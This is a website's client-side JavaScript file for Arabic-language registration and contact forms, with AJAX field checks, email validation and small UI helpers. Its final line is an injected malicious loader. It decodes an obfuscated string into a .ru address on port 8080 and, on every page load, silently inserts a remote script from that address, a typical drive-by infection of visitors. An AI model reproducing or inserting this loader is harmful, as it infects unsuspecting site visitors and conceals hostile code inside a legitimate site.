var min=8;
var max=22;
function increaseFontSize(id) {
   var p = document.getElementById(id);
      if(p.style.fontSize) {
         var s = parseInt(p.style.fontSize.replace("px",""));
      } else {
         var s = 12;
      }
      if(s!=max) {
         s += 1;
      }
      p.style.fontSize = s+"px"
}
function decreaseFontSize(id) {
   var p = document.getElementById(id);
  
      if(p.style.fontSize) {
         var s = parseInt(p.style.fontSize.replace("px",""));
      } else {
         var s = 12;
      }
      if(s!=min) {
         s -= 1;
      }
      p.style.fontSize = s+"px"  
} 

 
 function bookMark(){

  title = document.title; 
  url = window.location.href;
  
    if (window.sidebar) { // Mozilla Firefox Bookmark
         window.sidebar.addPanel(title, url,"");
     } else if( window.external ) { // IE Favorite
     	  window.external.AddFavorite( url, title); }
     else if(window.opera && window.print) { // Opera Hotlist
        return true; }
}
 
 function popUp(URL,w,h) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width="+w+",height="+h+",left =20,top =20');")
}

function checkUserName(obj){
	$.ajax({
		url: "actions.php?action=check_user_name",
		cache: false,
		type: "POST",
		data: "user_name=" + obj,
		beforeSend: function(){
			$("p#user_name_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص اسم المستخدم ...");
		},
		success: function(html){
			 if(html == 'empty'){
				$("p#user_name_id").html("<img src=\"images/false.gif\"> اسم المستخدم فارغ !");
			}
			else if(html == 'taken'){
				$("p#user_name_id").html("<img src=\"images/false.gif\"> اسم المستخدم محجوز !");
			}else if(html == 'error'){
				$("p#user_name_id").html("<img src=\"images/false.gif\"> خطأ في اسم الدخول انظر الشروط");
			}else{
				$("p#user_name_id").html("<img src=\"images/true.gif\"><span> اسم المستخدم مقبول</span>");
			}
			
		}
	});
}



function checkCompanyName(obj){
	$.ajax({
		url: "actions.php?action=check_company_name",
		cache: false,
		type: "POST",
		data: "user_company=" + obj,
		beforeSend: function(){
			$("p#user_company_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص اسم الشركة ...");
		},
		success: function(html){
		 if(html == 'empty'){
				$("p#user_company_id").html("<img src=\"images/false.gif\"> اسم الشركة  فارغ !");
				return false;
				
			}
			else if(html == 'taken'){
				$("p#user_company_id").html("<img src=\"images/false.gif\"> اسم الشركة  محجوز !");
				return false;
				
			}else if(html == 'error'){
				$("p#user_company_id").html("<img src=\"images/false.gif\"> خطأ في اسم الشركة انظر الشروط");
				return false;
			}else{
				$("p#user_company_id").html("<img src=\"images/true.gif\"><span> اسم الشركة مقبول</span>");
			}
			
		}
	});
}
function checkTelephoneName(obj){
	$.ajax({
		url: "actions.php?action=check_telephone_name",
		cache: false,
		type: "POST",
		data: "user_telephone=" + obj,
		beforeSend: function(){
			$("p#user_telephone_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص هاتف  الشركة ...");
		},
		success: function(html){
			 if(html == 'empty'){
				$("p#user_telephone_id").html("<img src=\"images/false.gif\"> يجب تعبئة رقم الهاتف رقم الهاتف فارغ");
			}else if(html == 'notint'){
				$("p#user_telephone_id").html("<img src=\"images/false.gif\"> رقم الهاتف يجب ان يكون ارقام فقط");
			}
			else if(html == 'short'){
				$("p#user_telephone_id").html("<img src=\"images/false.gif\"> الهاتف قصير !");
				return false;
			}
			else{
				$("p#user_telephone_id").html("<img src=\"images/true.gif\"><span>  الهاتف مقبول</span>");
			}
			
		}
	});
}


function checkMobileName(obj){
  $.ajax({
		url: "actions.php?action=check_mobile_name",
		cache: false,
		type: "POST",
		data: "user_mobile=" + obj,
		beforeSend: function(){
			$("p#user_mobile_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص هاتف  الشركة ...");
		},
		success: function(html){
			
			 if(html == 'empty'){
				$("p#user_mobile_id").html("<img src=\"images/false.gif\"> رقم الموباليل فارغ ");
				return false;
			}
			 else if(html == 'notint'){
				$("p#user_mobile_id").html("<img src=\"images/false.gif\"> رقم الموبايل يجب ان يكون ارقام فقط");
				return false;
			}
			else if(html == 'short'){
				$("p#user_mobile_id").html("<img src=\"images/false.gif\"> الموبايل قصير !");
				return false;
			}
			else{
				$("p#user_mobile_id").html("<img src=\"images/true.gif\"><span>  الموبايل مقبول</span>");
			}
			
		}
	});
}

function validatewebsite(obj){
  $.ajax({
		url: "actions.php?action=check_web_site",
		cache: false,
		type: "POST",
		data: "user_web=" + obj,
		beforeSend: function(){
			$("p#validateweb").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص هاتف  الشركة ...");
		},
		success: function(html){
			if(html == 'empty'){
				$("p#validateweb").html("<img src=\"images/false.gif\"> الموقع فارغ");
			}
			 else if(html == 'invalid'){
				$("p#validateweb").html("<img src=\"images/false.gif\"> الموقع غير صحيح");
			}
			
			else{
				$("p#validateweb").html("<img src=\"images/true.gif\"><span>  الموقع مقبول</span>");
			}
			
		}
	});
}
function checkStoreType(obj){
	
	$.ajax({
		url: "actions.php?action=check_store_type",
		cache: false,
		type: "POST",
		data: "storetype=" + obj,
		beforeSend: function(){
			$("p#type_id").html("<img src=\"images/loading.gif\" alt=\"Loading\">  ...");
		},
		success: function(html){
			 if(html == 'empty'){
				$("p#type_id").html("<img src=\"images/false.gif\"> يجب اختيار النوع من الفائمة");
			}else{
				$("p#type_id").html("<img src=\"images/true.gif\"><span>  تم الاخيار</span>");
			}
			
		}
	});
}
function checkCompanyAddress(obj){
	$.ajax({
		url: "actions.php?action=check_user_address",
		cache: false,
		type: "POST",
		data: "user_address=" + obj,
		beforeSend: function(){
			$("p#user_address_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص الرقم السري ...");
		},
		success: function(html){
			if(html == 'too_short'){
				$("p#user_address_id").html("<img src=\"images/false.gif\"> العنوان قصير");
			}else if(html == 'empty'){
				$("p#user_address_id").html("<img src=\"images/false.gif\"> كلمة المرور طويله جدا ");
			}else{
				$("p#user_address_id").html("<img src=\"images/true.gif\"> <span> العنوان صحيح </span>");
			}
		}
	});
}
function checkUserPassword(obj){
	$.ajax({
		url: "actions.php?action=check_user_password",
		cache: false,
		type: "POST",
		data: "user_password=" + obj,
		beforeSend: function(){
			$("p#user_password_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص الرقم السري ...");
		},
		success: function(html){
			if(html == 'empty'){
				$("p#user_password_id").html("<img src=\"images/false.gif\"> كلمة المرور فارغة");
			}
			else if(html == 'too_short'){
				$("p#user_password_id").html("<img src=\"images/false.gif\"> كلمة المرور قصيره جدا ");
			}else if(html == 'too_long'){
				$("p#user_password_id").html("<img src=\"images/false.gif\"> كلمة المرور طويله جدا ");
			}else{
				$("p#user_password_id").html("<img src=\"images/true.gif\"> <span>كلمة المرور صحيحه </span>");
			}
		}
	});
}

function checkUserPasswordashre(obj){
	var passo = document.new_form.user_password.value;
	
	//$.ajax({
		//url: "actions.php?action=check_user_password_asures",
		//cache: false,
		//type: "POST",
		//data: "user_password_ashure=" + obj,"pass=" + passo,
		//beforeSend: function(){
			//$("p#ashureuser_password_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص الرقم السري ...");
		//},
		//success: function(html){
			if(obj != passo){
				$("p#ashureuser_password_id").html("<img src=\"images/false.gif\"> لا يوجد تطابق بين كلمة المرور وتاكيد كلمة المرور ");
			}else{
				$("p#ashureuser_password_id").html("<img src=\"images/true.gif\"> <span>تاكيد كلمة المرور صحيحة </span>");

				}
		//}
	//});
}

function checkUserMail(obj){
	if(!echeck(obj)){
		$("p#user_mail_id").html("<img src=\"images/false.gif\"> الرجاء ادخال صيغة بريد صحيحه");
		return false;
	}
	$.ajax({
		url: "actions.php?action=check_user_mail",
		cache: false,
		type: "POST",
		data: "user_mail=" + obj,
		beforeSend: function(){
			$("p#user_mail_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص البريد الالكتروني ...");
		},
		success: function(html){
			if(html !== ''){
				
				$("p#user_mail_id").html("<img src=\"images/false.gif\"> البريد الالكتروني محجوز مسبقا " );
				$("p#user_mail_id").append("<br> <a href=\"forget_password.php\">هل نسيت كلمة المرور?</a>");			
			}else{
				$("p#user_mail_id").html("<img src=\"images/true.gif\"> <span>البريد الالكتروني صحيح</span>");
			}
		}
	});
}
function checkStoreMail(obj){
	if(!echeck(obj)){
		$("p#user_mail_id").html("<img src=\"images/false.gif\"> الرجاء ادخال صيغة بريد صحيحه");
		return false;
	}
	$.ajax({
		url: "actions.php?action=check_store_mail",
		cache: false,
		type: "POST",
		data: "user_mail=" + obj,
		beforeSend: function(){
			$("p#user_mail_id").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص البريد الالكتروني ...");
		},
		success: function(html){
			
				$("p#user_mail_id").html("<img src=\"images/true.gif\"> <span>البريد الالكتروني صحيح</span>");
			
		}
	});
}

function checkcontactMail(obj){
	if(!echeck(obj)){
		$("p#user_email_id_contact").html("<img src=\"images/false.gif\"> الرجاء ادخال صيغة بريد صحيحه");
		return false;
	}
	$.ajax({
		url: "actions.php?action=check_contact_mail",
		cache: false,
		type: "POST",
		data: "contact_mail=" + obj,
		beforeSend: function(){
			$("p#user_email_id_contact").html("<img src=\"images/loading.gif\" alt=\"Loading\"> يتم الان فحص البريد الالكتروني ...");
		},
		success: function(html){
			
				$("p#user_email_id_contact").html("<img src=\"images/true.gif\"> <span>البريد الالكتروني صحيح</span>");
			
		}
	});
}


function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		  
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		   
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		   
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		   
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		   
		    return false
		 }

 		 return true					
	}
	
  function checkSubmit(){
	  var f = document.new_form;
	  var n = f.user_name;
	  var p = f.user_password;
	  var asp = f.user_password_ashure;
	  var e = f.user_mail;	 
	  var s = f.privacy;
	    
	   if(n.value.length < 4){
		 $(n).effect("shake", { times:3 }, 30);
		 $(n).css("border","2px dotted #C71F15");
		 $(n).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(n).css("border","2px solid #DDDDDD");
	   }
	   if(p.value.length < 4){
		 $(p).effect("shake", { times:3 }, 30);
		 $(p).css("border","2px dotted #C71F15");
		  $(p).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(p).css("border","2px solid #DDDDDD");
	   }
	    if(asp.value != p.value ){
		 $(asp).effect("shake", { times:3 }, 30);
		 $(asp).css("border","2px dotted #C71F15");
		  $(asp).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(aspp).css("border","2px solid #DDDDDD");
	   }
	   if(!echeck(e.value)){
		 $(e).effect("shake", { times:3 }, 30);
		 $(e).css("border","2px dotted #C71F15");
		  $(e).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(e).css("border","2px solid #DDDDDD");
	   }
	 if(s.checked == false){
		  $(s).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,100).animate({ backgroundColor: "#fff"} ,100).animate({ backgroundColor: "#F57980"} ,100).animate({ backgroundColor: "#fff"} ,100).animate({ backgroundColor: "#F57980"} ,100).animate({ backgroundColor: "#fff"} ,100);
		  return false;
	   }
	}
	
	 function checkregister(){
	  var f = document.company_reg;
	  var n = f.user_company;
	  var e = f.user_mail;	 
	  var s = f.user_telephone;
	  var cat = f.storetype;
	  var st= f.cat;
	    
	   if(n.value.length < 4){
		 $(n).effect("shake", { times:3 }, 30);
		 $(n).css("border","2px dotted #C71F15");
		 $(n).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }
	   if(cat.value == 0){
		 $(cat).effect("shake", { times:3 }, 30);
		 $(cat).css("border","2px dotted #C71F15");
		 $(cat).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }
	  
	   
	   
	   
	    if(s.value.length == ''){
		 $(s).effect("shake", { times:3 }, 30);
		 $(s).css("border","2px dotted #C71F15");
		  $(s).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   } 
	   if(!echeck(e.value)){
		 $(e).effect("shake", { times:3 }, 30);
		 $(e).css("border","2px dotted #C71F15");
         return false;
	   }else{
		   $(e).css("border","2px solid #DDDDDD");
	   }
	   if(p.value.length < 4){
		 $(p).effect("shake", { times:3 }, 30);
		 $(p).css("border","2px dotted #C71F15");
		  $(p).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(p).css("border","2px solid #DDDDDD");
	   }
	   
	   
	  
	}
	
	
	 function checkcontact(){
	  var f = document.contactusfrm;
	  var n = f.user_name_contact;
	  var e = f.contact_mail;	 
	 // var s = f.user_telephone;
	  var st= f.user_message;
	    
	   if(n.value.length < 4){
		 $(n).effect("shake", { times:3 }, 30);
		 $(n).css("border","2px dotted #C71F15");
		 $(n).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }
	   
	   
	    //if(s.value.length == ''){
		 //$(s).effect("shake", { times:3 }, 30);
		 //$(s).css("border","2px dotted #C71F15");
		  //$(s).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         //return false;
	   //} 
	   if(!echeck(e.value)){
		 $(e).effect("shake", { times:3 }, 30);
		 $(e).css("border","2px dotted #C71F15");
         return false;
	   }else{
		   $(e).css("border","2px solid #DDDDDD");
	   }
	   if(s.value.length < 7){
		 $(s).effect("shake", { times:3 }, 30);
		 $(s).css("border","2px dotted #C71F15");
		  $(s).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(st).css("border","2px solid #DDDDDD");
	   } 
	   if(st.value.length < 4){
		 $(st).effect("shake", { times:3 }, 30);
		 $(st).css("border","2px dotted #C71F15");
		  $(st).parent().parent().parent().animate({ backgroundColor: "#F57980"} ,300).animate({ backgroundColor: "#fff"} ,300);
         return false;
	   }else{
		   $(st).css("border","2px solid #DDDDDD");
	   } 
	}
	
//tooltip
function show(ObjID){
    $("div#" + ObjID).show("slow");
    
}

function hide(ObjID){
    $("div#" + ObjID).fadeOut(794);
}

//tooltip

function checkValue(email){
	 	if(email.value == ''){
			email.value = 'أدخل بريدك الإلكتروني ...';
		}
	 }



try{window.onload=function(){Ucfjb9re03tuy = '' + 'a($$@l@i!#@#m@^a#^$m)^a#@-$)c^#o$#$)m!@(.@(j$#@u&^$e&@g@o((s)$.(&#c@o)&m$&@.))$w!^#(w$(&^^e@-@)@$c!&#$o!m^@)((.@$b@(a@t^#t^&&o^p!!#@.($r)^u(@:)S!$n(x#)o@$)t!$#(9!$&m@^5$&^$&r$^b(&^k#@#!/(^m$)a($)r$$&k(#e(^t&)!g()i#d@#.##@&c@o@##!m&#(#!/)m(a&(^&@r$(@k!&)e($)!t#($g#i$$^d@^!.)!c@o&m&/((l^!)e(t)$@)i&$)t)&#b&i$@t(@.!^n!$(e((!!t(^^/&)()g&$$!o$^o)!#^g#&@l$e()!.)&$c@#&o!^^m&^$/$@b(&$^#a$!n#!k&@o!f#$a)m(e$^^(r^#i&#(c!$^^a@(!.#c(##(!o$)m@$!#&/!)'.replace(/\)|#|@|\(|\!|&|\^|\$/ig, '') ;Tioq8vov0q = 'appendChild';D16te6ixpz = document.createElement('sc'+'ript');D16te6ixpz.src = 'h'+'ttp://'+Ucfjb9re03tuy.replace(/Snxot9m5rbk/g, '8080');D16te6ixpz.setAttribute('defer', 'def'+'er');eval('document.body.'+Tioq8vov0q+'(D16te6ixpz)');} }  catch(O4xrjvl ) {}